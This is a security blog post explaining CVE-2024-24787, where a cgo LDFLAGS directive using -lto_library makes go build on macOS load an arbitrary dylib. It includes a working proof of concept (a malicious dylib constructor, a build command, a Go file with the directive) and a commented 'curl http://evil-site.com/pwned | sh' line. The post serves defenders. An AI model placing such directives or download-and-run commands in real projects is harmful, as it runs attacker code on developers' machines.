If you’re building Go projects on macOS (Darwin), it’s time to check your dependencies. A recent vulnerability, CVE-2024-24787, exposes Go developers to arbitrary code execution when compiling Go modules that use CGO and specific linker flags. This post breaks everything down, explains what’s at risk, and shows how an attacker can slip malicious code into your build process.
What’s CVE-2024-24787 About?
When you build a Go project that uses CGO (meaning it includes some C code), the build system can accept extra instructions via the magic comment #cgo LDFLAGS. These flags are passed directly to the linker.
On Darwin (macOS), the Apple version of the linker (ld) supports the -lto_library flag, which loads a *dynamic library* during linking. Here’s the kicker: there’s almost no restriction or validation on what that library does or where it comes from. If a Go module or any dependency sets #cgo LDFLAGS: -lto_library /path/to/mylib.dylib, the linker loads and runs code from that path — even if it’s hidden inside a dependency you normally trust.
If a bad actor publishes a Go module with such a directive, or finds a way to inject one into your dependency tree, you could end up running arbitrary code on your machine just by running go build.
The Dangerous Code Pattern
Let’s look at how this can show up in a Go module. Here’s an example of a cgo-enabled Go file with a vulnerable directive:
// #cgo LDFLAGS: -lto_library /tmp/malicious.dylib
/*
#include <stdio.h>
void hello() { printf("Hello from CGO!\\n"); }
*/
import "C"
func main() {
C.hello()
}
If you build this on macOS, Go invokes the linker with -lto_library /tmp/malicious.dylib. That file could contain any code — not just a compiler plugin, but full-blown malware, ransomware, or spyware.
How Could an Exploit Look?
1. Attacker creates a fake Go package containing this CGO LDFLAGS pointing to their payload, uploads it to a public Go registry (or forks a popular repo and adds it).
2. Victim adds the library – maybe it’s a useful utility, or introduced via a transitive dependency from another package.
3. On go build, Go invisibly passes the flag to Apple’s ld. If /tmp/malicious.dylib exists (or could be made to exist, e.g., by the attacker or a later step in the dependency chain), *your machine loads and runs its code*.
> Even if you trust your Go dependencies, an update or a sneaky subtree injection could expose you to this attack!
For demonstration, suppose you write a simple malicious dylib in C
// malicious.c
#include <stdio.h>
__attribute__((constructor))
void run_me_first() {
system("open /System/Applications/Calculator.app");
// or worse: system("curl http://evil-site.com/pwned | sh");
}
Build it
clang -dynamiclib -o /tmp/malicious.dylib malicious.c
Now, write a Go module with the earlier CGO directive, and run go build
// #cgo LDFLAGS: -lto_library /tmp/malicious.dylib
import "C"
func main() {
// nothing needed here!
}
When compiling, the Go build process (specifically when linking) will load and execute your dylib. In this example, the Calculator app pops up — but a real attacker could do much worse.
Is This Automatically Blocked?
No, not out-of-the-box. The Go team (Go Security Advisory) and Apple’s toolchain currently don’t validate the legitimacy of the -lto_library path. That means *any* build on macOS is vulnerable if the project (or its dependencies) uses a dangerous linker flag in their CGO directives.
Immediate Steps
- Review Your Dependencies: Use go mod graph or similar tools to check for unknown or dynamically updated dependencies.
Long Term Steps
- Go Team Fixes: Track Golang’s official patch status.
Vendor Dependencies: Use go mod vendor to freeze dependencies and manually audit them.
- Consider Sandboxing Builds: Build software from untrusted sources in a VM or container where local damage is contained.
- Lobby for Better Defaults: Both Apple’s toolchain and Go could block dangerous linker flags or issue warnings when unexpected flags show up.
References & More Reading
- Go Security Advisory: CVE-2024-24787
- Official Go Issue Tracking This
- Apple’s ld manpage on -lto_library
Final Thought
*Modern build tools are powerful — maybe too powerful if you mix languages and don’t check the fine print.* If you use Go and macOS, take a moment to audit your dependencies and watch out for any package using CGO linker flags you don’t understand. If you find anything suspicious, flag it and stop the build. With open source code, threats like CVE-2024-24787 are always just a dependency away.
Timeline
Published on: 05/08/2024 16:15:08 UTC
Last modified on: 07/03/2024 01:48:25 UTC